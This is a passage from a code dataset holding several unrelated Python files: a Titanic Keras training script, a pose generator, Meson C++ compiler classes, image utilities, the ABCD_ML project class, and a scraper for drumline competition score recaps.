Augmentation\n \n\n # Normalize numeric features\n X_num_normalized = (X_num - X_num.mean()) / X_num.std()\n X_num_normalized = X_num_normalized.fillna(X_num_normalized.mean())\n\n #print(X_num_normalized.head())\n\n # Convert categorical features to one hot\n X_cat = pd.get_dummies(X_cat)\n #print(X_cat.head())\n\n # Concatenate X_num and X_concat\n X = pd.concat([X_num, X_cat], axis=1)\n print(X.head())\n\n Y = list()\n # Do the same for outputs Y\n if Y_train_orig is not None:\n Y = Y_train_orig.fillna(0)\n #print(Y.describe())\n\n return X,Y\n\ndef split_training_data(X, Y):\n X_train, X_test, Y_train, Y_test = model_selection.train_test_split(X, Y, random_state=0)\n return X_train, X_test, Y_train, Y_test\n\ndef main():\n relPath = 'C:/Users/himan/Documents/GitHub/Deep-Learning-Projects/Titanic - Machine Learning from Disaster/dataset'\n trainDataPath = relPath + '/train.csv'\n testDataPath = relPath + '/test.csv'\n \n print('Preparing Training Data')\n X, Y = load_and_prep_data(trainDataPath, True)\n print('Preparing unseen Test Data')\n X_unseen_test, _ = load_and_prep_data(testDataPath, False)\n\n #Split the train data into train and test data for your cross validation\n X_train, X_test, Y_train, Y_test = split_training_data(X,Y)\n\n model = TitanicModel()\n # Convert Y to one hot labels\n Y_train = to_categorical(Y_train)\n Y_test = to_categorical(Y_test)\n\n # Convert dataframe to numpy array\n X_train = X_train.values\n X_test = X_test.values\n \n print('Shape of training data ' + str(X_train.shape))\n print('Shape of training labels ' + str(Y_train.shape))\n \n # Reshape Y_train and Y_test to (N,1)\n #Y_train = Y_train.values.reshape(len(Y_train), 1)\n #Y_test = Y_test.values.reshape((len(Y_test), 1))\n\n print('Shape of test data ' + str(X_test.shape))\n print('Shape of test labels' + str(Y_test.shape))\n\n # Convert unseen test examples into np array\n X_unseen_test = X_unseen_test.values\n \n # Train the model\n trained_model = model.train_with_keras_model(X_train, Y_train, X_test, Y_test, 100, 512)\n #trained_model = model.train_params(X_train.T, Y_train, X_test.T, Y_test, 0.003, 300, 512, True)\n \n # Evaluation on test data\n #pred = trained_model.predict(X_unseen_test)\n #print(pred)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Titanic - Machine Learning from Disaster/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"37285184","text":"import pandas as pd\nimport math\nimport numpy \n\nfile_to_read = input(\"type the file you want to read here: \")\n\nread = pd.read_csv(file_to_read)\nangle_calced = numpy.arctan2(read[\"Tangent Y\"], read[\"Tangent X\"])\n\ncombined_output = []\nfor index in range(len(read[\"X\"])):\n x_gen = ((read[\"X\"][index]) - (read[\"X\"][0]))\n y_gen = ((read[\"Y\"][index]) - (read[\"Y\"][0]))\n angle_gen = numpy.rad2deg(angle_calced[index])\n\n x_val = numpy.round(x_gen, 3)\n y_val = numpy.round(y_gen, 3)\n angle = numpy.round(angle_gen, 3)\n\n combined_output.append((x_val, y_val, angle))\n\n print(\"new Pose2d(\" + str(x_val) + \"d, \" + str(y_val) + \"d, \" + \"Rotation2d.fromDegrees(\" + str(angle) + \"d\" \")),\")\n\nnumpy.set_printoptions(suppress=True, precision=3)\n# print(\"points relative to 0: \")\n# print(numpy.array(combined_output))\n","sub_path":"scripts/pointgen.py","file_name":"pointgen.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"645055902","text":"# Copyright 2012-2017 The Meson development team\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os.path\n\nfrom .. import mlog\nfrom .. import coredata\nfrom ..mesonlib import version_compare\n\nfrom .c import CCompiler, VisualStudioCCompiler\nfrom .compilers import (\n GCC_MINGW,\n gnu_winlibs,\n msvc_winlibs,\n ClangCompiler,\n GnuCompiler,\n IntelCompiler,\n)\n\nclass CPPCompiler(CCompiler):\n def __init__(self, exelist, version, is_cross, exe_wrap, **kwargs):\n # If a child ObjCPP class has already set it, don't set it ourselves\n if not hasattr(self, 'language'):\n self.language = 'cpp'\n CCompiler.__init__(self, exelist, version, is_cross, exe_wrap, **kwargs)\n\n def get_display_language(self):\n return 'C++'\n\n def get_no_stdinc_args(self):\n return ['-nostdinc++']\n\n def sanity_check(self, work_dir, environment):\n code = 'class breakCCompiler;int main(int argc, char **argv) { return 0; }\\n'\n return self.sanity_check_impl(work_dir, environment, 'sanitycheckcpp.cc', code)\n\n def get_compiler_check_args(self):\n # -fpermissive allows non-conforming code to compile which is necessary\n # for many C++ checks. Particularly, the has_header_symbol check is\n # too strict without this and always fails.\n return super().get_compiler_check_args() + ['-fpermissive']\n\n def has_header_symbol(self, hname, symbol, prefix, env, extra_args=None, dependencies=None):\n # Check if it's a C-like symbol\n if super().has_header_symbol(hname, symbol, prefix, env, extra_args, dependencies):\n return True\n # Check if it's a class or a template\n if extra_args is None:\n extra_args = []\n fargs = {'prefix': prefix, 'header': hname, 'symbol': symbol}\n t = '''{prefix}\n #include <{header}>\n using {symbol};\n int main () {{ return 0; }}'''\n return self.compiles(t.format(**fargs), env, extra_args, dependencies)\n\n\nclass ClangCPPCompiler(ClangCompiler, CPPCompiler):\n def __init__(self, exelist, version, cltype, is_cross, exe_wrapper=None, **kwargs):\n CPPCompiler.__init__(self, exelist, version, is_cross, exe_wrapper, **kwargs)\n ClangCompiler.__init__(self, cltype)\n default_warn_args = ['-Wall', '-Winvalid-pch', '-Wnon-virtual-dtor']\n self.warn_args = {'1': default_warn_args,\n '2': default_warn_args + ['-Wextra'],\n '3': default_warn_args + ['-Wextra', '-Wpedantic']}\n\n def get_options(self):\n return {'cpp_std': coredata.UserComboOption('cpp_std', 'C++ language standard to use',\n ['none', 'c++98', 'c++03', 'c++11', 'c++14', 'c++17', 'c++1z',\n 'gnu++11', 'gnu++14', 'gnu++17', 'gnu++1z'],\n 'none')}\n\n def get_option_compile_args(self, options):\n args = []\n std = options['cpp_std']\n if std.value != 'none':\n args.append('-std=' + std.value)\n return args\n\n def get_option_link_args(self, options):\n return []\n\n\nclass GnuCPPCompiler(GnuCompiler, CPPCompiler):\n def __init__(self, exelist, version, gcc_type, is_cross, exe_wrap, defines, **kwargs):\n CPPCompiler.__init__(self, exelist, version, is_cross, exe_wrap, **kwargs)\n GnuCompiler.__init__(self, gcc_type, defines)\n default_warn_args = ['-Wall', '-Winvalid-pch', '-Wnon-virtual-dtor']\n self.warn_args = {'1': default_warn_args,\n '2': default_warn_args + ['-Wextra'],\n '3': default_warn_args + ['-Wextra', '-Wpedantic']}\n\n def get_options(self):\n opts = {'cpp_std': coredata.UserComboOption('cpp_std', 'C++ language standard to use',\n ['none', 'c++98', 'c++03', 'c++11', 'c++14', 'c++17', 'c++1z',\n 'gnu++03', 'gnu++11', 'gnu++14', 'gnu++17', 'gnu++1z'],\n 'none'),\n 'cpp_debugstl': coredata.UserBooleanOption('cpp_debugstl',\n 'STL debug mode',\n False)}\n if self.gcc_type == GCC_MINGW:\n opts.update({\n 'cpp_winlibs': coredata.UserArrayOption('cpp_winlibs', 'Standard Win libraries to link against',\n gnu_winlibs), })\n return opts\n\n def get_option_compile_args(self, options):\n args = []\n std = options['cpp_std']\n if std.value != 'none':\n args.append('-std=' + std.value)\n if options['cpp_debugstl'].value:\n args.append('-D_GLIBCXX_DEBUG=1')\n return args\n\n def get_option_link_args(self, options):\n if self.gcc_type == GCC_MINGW:\n return options['cpp_winlibs'].value[:]\n return []\n\n def get_pch_use_args(self, pch_dir, header):\n return ['-fpch-preprocess', '-include', os.path.basename(header)]\n\n\nclass IntelCPPCompiler(IntelCompiler, CPPCompiler):\n def __init__(self, exelist, version, icc_type, is_cross, exe_wrap, **kwargs):\n CPPCompiler.__init__(self, exelist, version, is_cross, exe_wrap, **kwargs)\n IntelCompiler.__init__(self, icc_type)\n self.lang_header = 'c++-header'\n default_warn_args = ['-Wall', '-w3', '-diag-disable:remark',\n '-Wpch-messages', '-Wnon-virtual-dtor']\n self.warn_args = {'1': default_warn_args,\n '2': default_warn_args + ['-Wextra'],\n '3': default_warn_args + ['-Wextra', '-Wpedantic']}\n\n def get_options(self):\n c_stds = []\n g_stds = ['gnu++98']\n if version_compare(self.version, '>=15.0.0'):\n c_stds += ['c++11', 'c++14']\n g_stds += ['gnu++11']\n if version_compare(self.version, '>=16.0.0'):\n c_stds += ['c++17']\n if version_compare(self.version, '>=17.0.0'):\n g_stds += ['gnu++14']\n opts = {'cpp_std': coredata.UserComboOption('cpp_std', 'C++ language standard to use',\n ['none'] + c_stds + g_stds,\n 'none'),\n 'cpp_debugstl': coredata.UserBooleanOption('cpp_debugstl',\n 'STL debug mode',\n False)}\n return opts\n\n def get_option_compile_args(self, options):\n args = []\n std = options['cpp_std']\n if std.value != 'none':\n args.append('-std=' + std.value)\n if options['cpp_debugstl'].value:\n args.append('-D_GLIBCXX_DEBUG=1')\n return args\n\n def get_option_link_args(self, options):\n return []\n\n def has_multi_arguments(self, args, env):\n for arg in args:\n if arg.startswith('-Wl,'):\n mlog.warning('''{} looks like a linker argument, but has_argument\nand other similar methods only support checking compiler arguments.\nUsing them to check linker arguments are never supported, and results\nare likely to be wrong regardless of the compiler you are using.\n'''.format(arg))\n return super().has_multi_arguments(args + ['-diag-error', '10006'], env)\n\n\nclass VisualStudioCPPCompiler(VisualStudioCCompiler, CPPCompiler):\n def __init__(self, exelist, version, is_cross, exe_wrap, is_64):\n self.language = 'cpp'\n VisualStudioCCompiler.__init__(self, exelist, version, is_cross, exe_wrap, is_64)\n self.base_options = ['b_pch'] # FIXME add lto, pgo and the like\n\n def get_options(self):\n return {'cpp_eh': coredata.UserComboOption('cpp_eh',\n 'C++ exception handling type.',\n ['none', 'a', 's', 'sc'],\n 'sc'),\n 'cpp_winlibs': coredata.UserArrayOption('cpp_winlibs',\n 'Windows libs to link against.',\n msvc_winlibs)\n }\n\n def get_option_compile_args(self, options):\n args = []\n std = options['cpp_eh']\n if std.value != 'none':\n args.append('/EH' + std.value)\n return args\n\n def get_option_link_args(self, options):\n return options['cpp_winlibs'].value[:]\n\n def get_compiler_check_args(self):\n # Visual Studio C++ compiler doesn't support -fpermissive,\n # so just use the plain C args.\n return super(VisualStudioCCompiler, self).get_compiler_check_args()\n","sub_path":"mesonbuild/compilers/cpp.py","file_name":"cpp.py","file_ext":"py","file_size_in_byte":9436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"71759912","text":"from PIL import Image\nimport os.path, os\n\nimage_ctype= {'png': \"image/png\",\n 'jpg': \"image/jpeg\",\n 'jpeg': \"image/jpeg\"}\n\ndef save_image(dir, sha1, ext, data):\n fname = \"{0}.{1}\".format(sha1, ext)\n fout = open(os.path.join(dir, fname), 'wb')\n fout.write(data)\n fout.close()\n return fname\n\ndef move_image(fr, to):\n os.rename(fr, to)\n\ndef save_thumbnail(in_path, dir, sha1, prefix, max_width=1024, max_height=1024):\n size = (max_width, max_height)\n im = Image.open(in_path)\n im.thumbnail(size, Image.ANTIALIAS)\n fname = \"{0}_{1}.jpg\".format(prefix, sha1)\n im.save(os.path.join(dir, fname), \"JPEG\", quality=95)\n return fname\n\ndef get_image_size(path):\n im = Image.open(path)\n size = im.size\n return size","sub_path":"KPDB/src/imageutil.py","file_name":"imageutil.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"334449693","text":"\"\"\"\nABCD_ML.py\n====================================\nThe main project class.\n\"\"\"\nimport pandas as pd\nimport shutil\nimport os\nimport pickle as pkl\n\nfrom ..helpers.Docstring_Helpers import get_new_docstring\n# from ..helpers.Params_Classes import ML_Params\nfrom ..helpers.CV import CV\n\n\ndef Load(loc, exp_name='default', log_dr='default', existing_log='default',\n verbose='default', notebook='default', random_state='default'):\n '''\n This function is designed to load in a saved previously created\n ABCD_ML object.\n\n See :func:`Save ` for saving an object.\n See :func:`Init ` for the\n rest of changable param descriptions, e.g., log_dr, existing_log, ect...\n\n Parameters\n ----------\n loc : str or Path\n\n A path/str to a saved ABCD_ML object,\n (One saved with :func:`Save `), then that object will be\n loaded. Notably, if any additional params are passed along\n with it, e.g., exp_name, notebook, ect... they will override\n the saved values with the newly passed values.\n If left as 'default', all params will be set to the loaded value,\n though see the warning below.\n\n .. WARNING::\n The exp_name or log_dr may need to be changed, especially\n in the case where the object is being loaded in a new\n location or enviroment from where the original was created,\n as it will by default try to create logs with the saved path\n information as the original.\n\n You can only change exp_name, log_dr, existing_log, verbose,\n notebook and random_state when loading a new object, for the\n remaining params, even if a value is passed, it will not be\n applied. If the user really wishes to change one of these params,\n they can change it manually via self.name_of_param = whatever.\n '''\n\n with open(loc, 'rb') as f:\n ML = pkl.load(f)\n\n if exp_name != 'default':\n ML.exp_name = exp_name\n if log_dr != 'default':\n ML.log_dr = log_dr\n if existing_log != 'default':\n ML.existing_log = existing_log\n if verbose != 'default':\n ML.verbose = verbose\n\n ML._init_logs()\n\n if notebook != 'default':\n ML.notebook = notebook\n if random_state != 'default':\n ML.random_state = random_state\n\n ML._print('ABCD_ML object loaded from save!')\n return ML\n\n\nclass ABCD_ML():\n\n def __init__(self, exp_name='My_ML_Exp', log_dr='', existing_log='append',\n verbose=True, notebook=True,\n use_abcd_subject_ids=False,\n low_memory_mode=False, strat_u_name='_Strat',\n random_state=534, n_jobs=1, dpi=100, mp_context='spawn'):\n '''Main class used within ABCD_ML for interfacing with Data Loading\n and Modeling / Other funcationality.\n\n Parameters\n ----------\n exp_name : str, optional\n The name of this experimental run,\n used explicitly in saving logs, and figures, where the passed\n `exp_name` is used as the name of the log folder.\n If log_dr is not set to None,\n (if not None then saves logs and figures)\n then a folder is created within the log dr\n with the exp_name.\n\n ::\n\n default = 'My_ML_Exp'\n\n log_dr : str, Path or None, optional\n The directory in which to store logs...\n If set to None, then will not save any logs!\n If set to empty str, will save in the current dr.\n\n ::\n\n default = ''\n\n existing_log : {'new', 'append', 'overwrite'}, optional\n This parameter dictates different choices for when\n an a folder with exp_name already exists in the specified\n log_dr.\n\n These choices are:\n\n - 'new'\n If the log folder already exists, then\n just increment `exp_name` until a free name is found,\n and use that as the log folder / `exp_name`.\n\n - 'append'\n If existing_log is 'append' then log entries\n and new figures will be added to the existing folder.\n\n - 'overwrite'\n If existing_log is 'overwrite', then the existing\n log folder with the same exp_name will be cleared\n upon __init__.\n\n ::\n\n default = 'append'\n\n verbose: bool, optional\n If `verbose` is set to True, the ABCD_ML object\n will print output, diagnostic and more general, directly\n to std out. If set to False, no output will be printed, though\n output will still be recorded within the logs assuming log_dr is not None.\n\n ::\n\n default = True\n\n notebook : bool, optional\n If True, then assumes the user is running\n the code in an interactive jupyter notebook. \n In this case, certain features will either be enabled or disabled,\n e.g., type of progress bar.\n\n ::\n\n default = Trues\n\n use_abcd_subject_ids : bool, optional\n Flag to determine the usage of ABCD speficic 'default'\n subject id behavior.\n If set to True, this will convert input NDAR subject ids\n into upper case, with prepended NDAR - type format.\n If set to False, then all input subject names must be entered\n explicitly the same, no preprocessing will be done on them.\n\n ::\n\n default = False\n\n low_memory_mode : bool, optional\n This parameter dictates behavior around loading in data,\n specifically,\n If set to True, individual dataframes self.data, self.covars ect...\n will be deleted from memory as soon as modeling begins.\n This parameter also controls the pandas read_csv behavior,\n which also has a low_memory flag.\n\n ::\n\n default = False\n\n strat_u_name : str, optional\n A unique str identifier to be appended to every loaded\n strat value (to keep them seperate from covars and data).\n\n You should only need to change or ever worry about this in\n the case that one of your input variables happens to have the\n default value of '_Strat' in it...\n\n ::\n\n default = '_Strat'\n\n random_state : int, RandomState instance or None, optional\n The default random state, either as int for a specific seed,\n or if None then the random seed is set by np.random.\n This parameters if set will be the default random_state class-wide,\n so any place random_state is left to default, unless a different\n default is set (e.g. default load value or default ML value) this\n random state will be used.\n\n ::\n\n default = 534\n\n n_jobs : int, optional\n The default number of jobs / processors to use (if avaliable) where\n ever avaliable class-wide across ABCD_ML.\n\n ::\n\n default = 1\n\n dpi : int, optional\n The default dpi in which to save any automatically saved fiugres\n with.\n Where this parameter can also be set to specific values\n for specific plots.\n\n ::\n\n default = 1\n\n mp_context : {None, 'fork', 'spawn'}, optional\n When a hyper-parameter search is launched, there are different\n ways through python that the multi-processing can be launched\n (assuming n_jobs > 1). Occassionally some choices can lead to\n odd errors.\n\n ::\n\n default = 'spawn'\n '''\n # Load logging class params\n self.exp_name = exp_name\n self.log_dr = log_dr\n self.existing_log = existing_log\n self.verbose = verbose\n\n self._init_logs()\n\n self._print('exp_name =', self.exp_name)\n self._print('log_dr =', self.log_dr)\n self._print('existing_log =', self.existing_log)\n self._print('verbose =', self.verbose)\n self._print('exp log dr setup at:', self.exp_log_dr)\n self._print('log file at:', self.log_file)\n\n # Set rest of class params\n self.notebook = notebook\n self.use_abcd_subject_ids = use_abcd_subject_ids\n self.low_memory_mode = low_memory_mode\n self.strat_u_name = strat_u_name\n self.random_state = random_state\n self.n_jobs = n_jobs\n self.dpi = dpi\n self.mp_context = mp_context\n\n self._print('Default params set:')\n self._print('notebook =', self.notebook)\n self._print('use_abcd_subject_ids =', self.use_abcd_subject_ids)\n self._print('low memory mode =', self.low_memory_mode)\n self._print('strat_u_name =', self.strat_u_name)\n self._print('random state =', self.random_state)\n self._print('n_jobs =', self.n_jobs)\n self._print('dpi =', self.dpi)\n self._print('mp_context =', self.mp_context)\n\n # Initialze various variables\n self.name_map, self.exclusions, self.inclusions = {}, set(), set()\n self.data, self.covars = pd.DataFrame(), pd.DataFrame()\n self.targets, self.strat = pd.DataFrame(), pd.DataFrame()\n\n # Dict objects to hold encoders\n self.covars_encoders = {}\n self.targets_encoders = {}\n self.strat_encoders = {}\n\n # Class values to be set later\n self.all_data = None\n self.targets_keys = []\n\n # Stores the gloabl train/test split\n self.train_subjects, self.test_subjects = None, None\n\n # CV by default is just random splits\n self.CV = CV()\n\n # Store default dicts as init empty\n self.default_load_params, self.default_ML_verbosity = {}, {}\n\n # Scores are saved after each eval or test run\n self.eval_scores, self.test_scores = {}, {}\n\n self.subject_id = 'src_subject_id'\n\n self.last_run_name = None\n self.last_subjects_to_use_names = None\n\n self.file_mapping = {}\n self.data_file_keys = []\n\n self._print('ABCD_ML object initialized')\n\n def Save(self, loc, low_memory=False):\n '''This class method is used to save an existing ABCD_ML\n object for further use.\n\n Parameters\n ----------\n loc : str or Path\n The location in which the pickle of the ABCD_ML object\n should be saved! This is the same loc which should be\n passed to :func:`Load ` in order to\n re-load the object.\n\n low_memory : bool, optional\n If this parameter is set to True, then self.data,\n self.targets, self.covars, self.strat will be deleted\n before saving. The assumption for the param to be used is\n that self.all_data has already been created, and therefore\n the individual dataframes with data, covars ect... can safely\n be deleted as the user will not need to work with them directly\n any more.\n\n In addition, self.Model_Pipeline (which contains\n information about the last run Evaluate or Test call) will be\n deleted.\n\n ::\n\n default = False\n '''\n\n if low_memory:\n self.data, self.covars = pd.DataFrame(), pd.DataFrame()\n self.targets, self.strat = pd.DataFrame(), pd.DataFrame()\n\n try:\n del self.Model_Pipeline\n except AttributeError:\n pass\n\n with open(loc, 'wb') as f:\n pkl.dump(self, f)\n\n def _init_logs(self):\n\n if self.log_dr is not None:\n\n if self.log_dr == '':\n self.log_dr = os.getcwd()\n\n # Ensure log_dr exists, if not make it\n os.makedirs(self.log_dr, exist_ok=True)\n\n # Get exp_log_dr name\n self.exp_log_dr = os.path.join(self.log_dr, self.exp_name)\n\n if os.path.isdir(self.exp_log_dr):\n\n if self.existing_log == 'new':\n\n cnt = 1\n while os.path.isdir(self.exp_log_dr +\n '(' + str(cnt) + ')'):\n cnt += 1\n\n self.exp_log_dr += '(' + str(cnt) + ')'\n\n # If overwrite, delete everything, then make new blank\n elif self.existing_log == 'overwrite':\n shutil.rmtree(self.exp_log_dr)\n\n # Make the new dr\n if self.existing_log != 'append':\n os.mkdir(self.exp_log_dr)\n\n # If the dr doesn't already exist, regardless of existing log\n # Just make new dr.\n else:\n os.mkdir(self.exp_log_dr)\n\n # Make the log file if not already made.\n self.log_file = os.path.join(self.exp_log_dr, 'logs.txt')\n\n else:\n self.exp_log_dr = None\n self.log_file = None\n\n def _print(self, *args, **kwargs):\n '''Overriding the print function to allow for\n customizable verbosity within class methods. Will also\n take care of logging behavior.\n\n Parameters\n ----------\n args\n Anything that would be passed to default python print\n '''\n\n dont_print = kwargs.pop('dont_print', False)\n\n if self.verbose and not dont_print:\n print(*args, **kwargs)\n\n if self.log_file is not None:\n log = open(self.log_file, 'a')\n print(*args, **kwargs, file=log)\n log.close()\n\n def _print_nothing(self, *args, **kwargs):\n pass\n\n # Data loader functionality\n from ._Data import (Set_Default_Load_Params,\n _make_load_params,\n _get_data_file_cnt,\n Load_Name_Map,\n Load_Data,\n Load_Data_Files,\n Load_Targets,\n _proc_target,\n _print_loaded_targets,\n Load_Covars,\n _proc_covar,\n Load_Strat,\n _proc_strat,\n Load_Exclusions,\n Load_Inclusions,\n Drop_Data_Cols,\n _drop_data_cols,\n Filter_Data_Cols,\n Filter_Data_Files_Cols,\n Proc_Data_Unique_Cols,\n _proc_data_unique_cols,\n Drop_Data_Duplicates,\n Binarize_Target,\n _proc_threshold,\n Binarize_Covar,\n Get_Overlapping_Subjects,\n Clear_Name_Map,\n Clear_Data,\n Clear_Covars,\n Clear_Targets,\n Clear_Strat,\n Clear_Exclusions,\n Clear_Inclusions,\n Get_Nan_Subjects,\n _get_targets_key,\n _load_datasets,\n _load_user_passed,\n _load_dataset,\n _common_load,\n _load,\n _set_overlap,\n _merge_existing,\n _proc_df,\n _load_set_of_subjects,\n _process_subject_name,\n _drop_na,\n _filter_by_eventname,\n _show_na_info,\n _drop_excluded,\n _drop_included,\n _filter_excluded,\n _filter_included,\n _get_overlapping_subjects,\n Prepare_All_Data,\n _get_cat_keys,\n _set_data_scopes,\n _get_base_targets_names,\n _get_covar_scopes)\n\n # Update loader docstrings\n Load_Name_Map.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Load_Name_Map)\n Load_Data.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Load_Data)\n Load_Data_Files.__doc__ =\\\n get_new_docstring(Load_Data, Load_Data_Files)\n Load_Targets.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Load_Targets)\n Load_Covars.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Load_Covars)\n Load_Strat.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Load_Strat)\n Filter_Data_Cols.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Filter_Data_Cols)\n Proc_Data_Unique_Cols.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Proc_Data_Unique_Cols)\n Drop_Data_Duplicates.__doc__ =\\\n get_new_docstring(Set_Default_Load_Params, Drop_Data_Duplicates)\n\n # Validation / CV funcationality\n from ._Validation import (Define_Validation_Strategy,\n Train_Test_Split,\n _add_strat_u_name,\n _get_info_on)\n\n # Machine Learning functionality\n from ._ML import (Set_Default_ML_Verbosity,\n _ML_print,\n Evaluate,\n Test,\n _premodel_check,\n _preproc_model_pipeline,\n _preproc_problem_spec,\n _get_split_vals,\n _get_subjects_to_use,\n _init_model,\n _handle_scores,\n _print_summary_score,\n _add_to_scores,\n _save_results)\n\n # Fill Evaluate and Test's docstring\n # Evaluate.__doc__ = get_new_docstring(Set_Default_ML_Params, Evaluate)\n # Test.__doc__ = get_new_docstring(Evaluate, Test)\n\n from ._Plotting import (_plot,\n _proc_subjects,\n Show_Data_Dist,\n _input_targets,\n _input_covars,\n _input_strat,\n Show_Targets_Dist,\n Show_Covars_Dist,\n Show_Strat_Dist,\n _get_single_df,\n _show_single_dist,\n _get_cat_display_df,\n _show_dist,\n _display_df,\n _get_top_global,\n Plot_Global_Feat_Importances,\n _plot_multiclass_global_feat_importances,\n _plot_global_feat_importances,\n Plot_Local_Feat_Importances,\n _plot_shap_summary)\n\n from ._Tables import (Save_Table,\n _get_single_dfs,\n _get_table_contents,\n _get_group_titles)\n","sub_path":"ABCD_ML/main/ABCD_ML.py","file_name":"ABCD_ML.py","file_ext":"py","file_size_in_byte":19330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"547943538","text":"# The goal of this python script is to create a csv datafile from wgi recap documents\n\n# TODO: Find a way to get information without being so reliant on specific tag identification\n\n\nimport os # For __file__\nimport time # For sleep\nimport requests\nimport re # For regex\nimport pandas as pd\nfrom bs4 import BeautifulSoup # To read html docs\n\ndef parse_recap(link, read_type):\n \"\"\"\n Returns a dataframe containing score information for each ensemble\n \"\"\"\n\n # Conditionally create the soup object from web site or from local file\n x = read_type\n\n if (x == \"LOCAL\"):\n recap_soup = BeautifulSoup(open(link), 'html.parser')\n elif (x == \"WEB\"):\n recap_soup = BeautifulSoup(requests.get(link).text, 'html.parser')\n\n\n # Find div tags with style attributes using regex (this is a very bad way to do this)\n title_smash = []\n for tag in recap_soup.find_all(\"div\", attrs={'style':re.compile(r\".*\")}):\n print(tag.string)\n\n if (tag.string is None):\n title_smash.append(\"\")\n elif (len(tag.string) != 0):\n title_smash.append(tag.string)\n\n event_description = ''.join(title_smash)\n\n # Find each individual table\n recap_soup = recap_soup.find_all(\"table\", style=\"border-bottom: solid 1px #000; margin: 10px auto 0px auto;\")\n\n # Create empty list for all table information\n all_info = []\n\n # Get information for each individual table\n for table in recap_soup:\n\n # Get relevant information from each indivual table\n ensemble_names = [ensemble.text for ensemble in table.find_all(\"td\", \"content topBorder rightBorderDouble\")]\n all_scores = [score.text for score in table.find_all(\"td\", \"content score\")]\n judge_names = [judge.text for judge in table.find_all(\"td\", \"content topBorder rightBorder header subcaptionTotal\")]\n captions = [caption.text for caption in table.find_all(\"td\", \"content rightBorder topBorder header captionTotal\")]\n which_class = [score_class.text for score_class in table.find_all(\"td\", style=\"text-align: center; padding: 2px; font-weight: bold; font-size: 14px;\")]\n num_ensembles = len(ensemble_names)\n\n # Handle weird judge tags\n if (len(judge_names) == 0):\n judge_names = [judge.text for judge in table.find_all(\"td\", \"content topBorder rightBorder header subcaptionTotal \")]\n\n\n # First get the ratio of judges - 1 to captions\n ratio = (len(judge_names) - 1) / (len(captions) - 1)\n\n if ratio == 1:\n check = ((len(judge_names) - 1)*2) + (len(captions) - 1) + 3\n elif ratio == 2:\n check = ((len(judge_names) - 1)*3) + (len(captions) - 1) + 4\n\n print(\"Mod check: \" + str(check))\n\n # Pack everything together\n table_information = (ensemble_names, all_scores, judge_names, captions, num_ensembles, which_class, check)\n\n # Append to master list\n all_info.append(table_information)\n\n\n anthonys_greatest_accomplishment = pd.DataFrame()\n\n # Restructure raw score stream\n # Group raw data stream by number of columns in the table (32 is hardcoded) into separate lists\n for table in all_info:\n i = 1\n master_list = []\n sublist = []\n\n check_width = table[6]\n\n # Group scores by table width (check_width)\n for x in table[1]: # Point to score information\n sublist.append(x)\n\n if (i % check_width == 0):\n master_list.append(sublist)\n i = 1\n sublist = []\n else:\n i = i + 1\n\n df = pd.DataFrame(master_list)\n\n df[\"Ensemble\"] = table[0] # Add ensembles to df\n df[\"Class\"] = table[5][0] # table[5] gives returns a list, access its first element\n df[\"Event_Name\"] = event_description\n\n anthonys_greatest_accomplishment = anthonys_greatest_accomplishment.append(df)\n\n return anthonys_greatest_accomplishment\n\n\n# Recap link for 2018\n# https://www.wgi.org/percussion/2018-perc-scores/\n\n# Recap link for 2017\n# https://www.wgi.org/2017-percussion-scores/\n\n# Recap links for MCGC (lots of years)\n# https://www.mcgc.net/scores\n\n# Recap links for California (lots of years)\n# https://sc-pa.org/\n\n\n# Link used to create the intial version of the recap reader\noriginal_link = \"https://recaps.competitionsuite.com/dcdb1a72-f30b-413a-9311-15b8c600138c.htm\"\n\n# Local versions of original_link\nfile_location = os.path.dirname(__file__) + \"/the_holy_file.html\"\nsecond_file_location = os.path.dirname(__file__) + \"/secondary_recap.html\"\n\n# Different recap from WGI's website\ntest_link = \"https://recaps.competitionsuite.com/c06aa0b9-500e-4ab4-9960-fb0e04e103a1.htm\"\n\n# Recap from MCGC (Michigan Circuit)\nmcgc_link = \"https://recaps.competitionsuite.com/904e9141-55b7-45f9-acc8-778fcf83d208.htm\"\n\n# Recap from SCPA (California Circuit)\ncali_link = \"https://recaps.competitionsuite.com/9dbe02e5-8099-4487-b336-ad0969b9607c.htm\"\n\n\n# Point to a web link\n# goodies = parse_recap(cali_link, \"WEB\")\n\n# Point to a local file\n#goodies = parse_recap(file_location, \"LOCAL\")[1]\n\n# Works fine\n#my_df = parse_recap(file_location, \"LOCAL\")\n#print(my_df)\n\n# Works fine\n#test_df = parse_recap(second_file_location, \"LOCAL\")\n#print(test_df)\n\nonline_df = parse_recap(test_link, \"WEB\")\nprint(online_df)\n\n# Write to csv\nonline_df.to_csv(\"output_9-24-18.csv\")\n","sub_path":"python/Old Stuff/get_recaps/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":5361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"150418495","text":"import hand\nimport calculate\n\ndef check_input(deal):\n\n acceptable_values = list(range(2, 11))\n acceptable_values.extend([\"A\", \"J\", \"Q\", \"K\"])\n acceptable_values = [str(val) for val in acceptable_values]\n acceptable_suits = [\"D\", \"C\", 